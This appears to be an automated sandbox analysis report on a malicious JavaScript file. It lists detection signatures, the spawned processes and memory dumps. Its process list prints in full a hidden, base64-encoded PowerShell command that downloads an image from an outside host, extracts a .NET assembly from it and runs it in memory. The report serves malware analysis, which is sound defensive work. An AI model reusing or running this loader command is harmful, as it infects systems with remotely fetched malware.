Analysis
- max time kernel
148s - max time network
126s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 08:57
General
- Target jaffacakes118_4f53da7df167f2132fcf7d1f9df32983d2dda284c42b858646387f1f5995b4c4.js
- Size 4.3MB
- Sample260910-kw2lrstwdt
- SHA256 4f53da7df167f2132fcf7d1f9df32983d2dda284c42b858646387f1f5995b4c4
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_4f53da7df167f2132fcf7d1f9df32983d2dda284c42b858646387f1f5995b4c4.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABoAGUAbQBwAHYAaQBuAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAaABlAG0AcAB2AGkAbgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQA7ACQAaABlAG0AcAB2AGkAbgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAaABlAG0AcAB2AGkAbgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAiACwAIAAiAGUAbgAtAFUAUwAsAGUAbgA7AHEAPQAwAC4AOQAiACkAOwAkAGYAYQB3AG4AbABpAGwAeQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBvAHAAdABpAG0AaQB6AGUAZABfAG0AcwBpAF8AMgAwADIANQAxADIAMgA3AC8AbwBwAHQAaQBtAGkAegBlAGQAXwBNAFMASQAuAHAAbgBnACcAOwAkAEMAbwBsAGIAZQByAHQAIAA9ACAAJABoAGUAbQBwAHYAaQBuAGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAZgBhAHcAbgBsAGkAbAB5ACkAOwAkAFMAaABlAGUAbgBhACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABDAG8AbABiAGUAcgB0ACkAOwBpAGYAIAAoACQAUwBoAGUAZQBuAGEAIAAtAG0AYQB0AGMAaAAgACcAQgBhAHMAZQBTAHQAYQByAHQALQAoAC4AKgA/ACkALQBCAGEAcwBlAEUAbgBkACcAKQAgAHsAIAAgACQAYQBuAG8AbgB5AG0AaQBzAGUAcgAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABmAHUAbgBjAHQAaQBvAG4AaQBuAGcAIAA9ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQBuAG8AbgB5AG0AaQBzAGUAcgApACkAOwAgACAAJABhAHIAZwBzAEIAYQBzAGUANgA0ACAAPQAgACcASgB3AEEAOQBBAEYARQBBAFMAQQBCAGwAQQBEAEEAQQBOAFEAQgBUAEEARwBFAEEAZAB3AEEANQBBAEQASQBBAFUAUQBCADIAQQBFAFUAQQBSAHcAQgBrAEEARwB3AEEAUQBnAEIAdQBBAEcATQBBAEMAZwBBAE4AQQBHAGcAQQBUAGcAQgBIAEEARQAwAEEAZQBRAEIAVgBBAEYATQBBAFcAUQBBAHkAQQBGAFkAQQBWAHcAQgBrAEEARQA4AEEATwBRAEIANQBBAEYAbwBBAGUAUQBBADUAQQBHADAAQQBUAEEAQgA2AEEARABVAEEAUgB3AEIAYQBBAEgASQBBAFQAZwBCAFgAQQBHAFEAQQBhAHcAQQAxAEEARgBNAEEAWQBRAEIANgBBAEUANABBAFMAQQBCAGoAQQBIAGMAQQBSAGcAQQB5AEEARwBNAEEAZQBRAEIAVwBBAEcAMABBAFoAQQBCAHcAQQBFAG8AQQBTAEEAQgBhAEEASABvAEEAWgBBAEEAegBBAEcASQBBAGEAdwBBADEAQQBGAGMAQQBZAFEAQQB6AEEARQBJAEEAUwBBAEIAaABBAEgAYwBBAFUAZwBBAHoAQQBHAE0AQQBkAGcAQgBvAEEARABJAEEAVABBAEIAMgBBAEcAOABBAFIAQQBCAGoAQQBEAEEAQQBVAGcAQgBJAEEARwBFAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCAGMAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAFgAdwBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEUAMABBAGMAdwBCAGkAQQBIAFUAQQBhAFEAQgBzAEEARwBRAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBUAFEAQgB6AEEARwBJAEEAZABRAEIAcABBAEcAdwBBAFoAQQBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwA4AEEAWQB3AEIAawBBAEcANABBAEwAZwBCAGsAQQBHAGsAQQBjAHcAQgBqAEEARwA4AEEAYwBnAEIAawBBAEcARQBBAGMAQQBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEATAB3AEIAaABBAEgAUQBBAGQAQQBCAGgAQQBHAE0AQQBhAEEAQgB0AEEARwBVAEEAYgBnAEIAMABBAEgATQBBAEwAdwBBAHgAQQBEAEUAQQBPAEEAQQB4AEEARABNAEEATgB3AEEANABBAEQAawBBAE0AQQBBAHkAQQBEAEUAQQBNAFEAQQAyAEEARABBAEEATQBRAEEAMgBBAEQASQBBAE0AZwBBAHkAQQBDADgAQQBNAFEAQQAwAEEARABNAEEATwBBAEEAMwBBAEQASQBBAE0AZwBBADIAQQBEAFEAQQBOAEEAQQB5AEEARABJAEEATQB3AEEAMQBBAEQAawBBAE0AQQBBADAAQQBEAE0AQQBNAEEAQQB2AEEASABNAEEAYQBBAEIAcABBAEcAMABBAEwAZwBCAHEAQQBIAE0AQQBQAHcAQgBsAEEASABnAEEAUABRAEEAMgBBAEQAawBBAE0AUQBBADMAQQBHAFUAQQBZAFEAQQAyAEEARABBAEEASgBnAEIAcABBAEgATQBBAFAAUQBBADIAQQBEAGsAQQBNAFEAQQAyAEEARABrAEEATwBBAEIAbABBAEQAQQBBAEoAZwBCAG8AQQBHADAAQQBQAFEAQgBsAEEARABBAEEAWgBBAEEAeQBBAEcASQBBAFkAUQBCAGgAQQBHAE0AQQBOAFEAQQB5AEEARwBFAEEATwBBAEIAaABBAEcAWQBBAE4AUQBCAGkAQQBEAFkAQQBaAFEAQgBrAEEARABrAEEATgBBAEEAdwBBAEQAVQBBAE0AZwBCAGoAQQBHAFkAQQBOAFEAQQAwAEEARABnAEEATQB3AEEAMgBBAEcAVQBBAE0AZwBCAGwAQQBHAEkAQQBNAFEAQgBqAEEARABFAEEAWQBnAEEAdwBBAEQAawBBAFoAZwBBADMAQQBEAFkAQQBOAEEAQQA1AEEARABVAEEATgB3AEEAegBBAEcAVQBBAFoAZwBBADEAQQBEAEUAQQBNAGcAQQAxAEEARwBFAEEAWgBRAEEAdwBBAEQAQQBBAFoAUQBBAHcAQQBHAFUAQQBPAFEAQQAyAEEAQwBZAEEASgB3AEEAcwBBAEMAYwBBAFEAdwBBADYAQQBGAHcAQQBWAFEAQgB6AEEARwBVAEEAYwBnAEIAegBBAEYAdwBBAFUAQQBCADEAQQBHAEkAQQBiAEEAQgBwAEEARwBNAEEAWABBAEIARQBBAEcAOABBAGQAdwBCAHUAQQBHAHcAQQBiAHcAQgBoAEEARwBRAEEAYwB3AEIAYwBBAEMAYwBBAEwAQQBBAG4AQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAWAB3AEIARwBBAEcAawBBAGIAQQBCAGwAQQBDAGMAQQBMAEEAQQBuAEEARwBvAEEAYwB3AEEAbgBBAEMAdwBBAEoAdwBBAHgAQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEATABBAEEAbgBBAEYAUQBBAFkAUQBCAHoAQQBHAHMAQQBYAHcAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAYwBBAEwAQQBBAG4AQQBEAEEAQQBKAHcAQQBzAEEAQwBjAEEATQBBAEEAbgBBAEMAdwBBAEoAdwBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQQA9AD0AJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/864-0-0x00007FFEB989F000-0x00007FFEB98A0000-memory.dmp
memory/864-3-0x0000028EF95E0000-0x0000028EF9602000-memory.dmp
memory/864-4-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-5-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-6-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-7-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-8-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-9-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-10-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-11-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-13-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-12-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-14-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-15-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-17-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp
memory/864-18-0x00007FFEB9710000-0x00007FFEBA0B4000-memory.dmp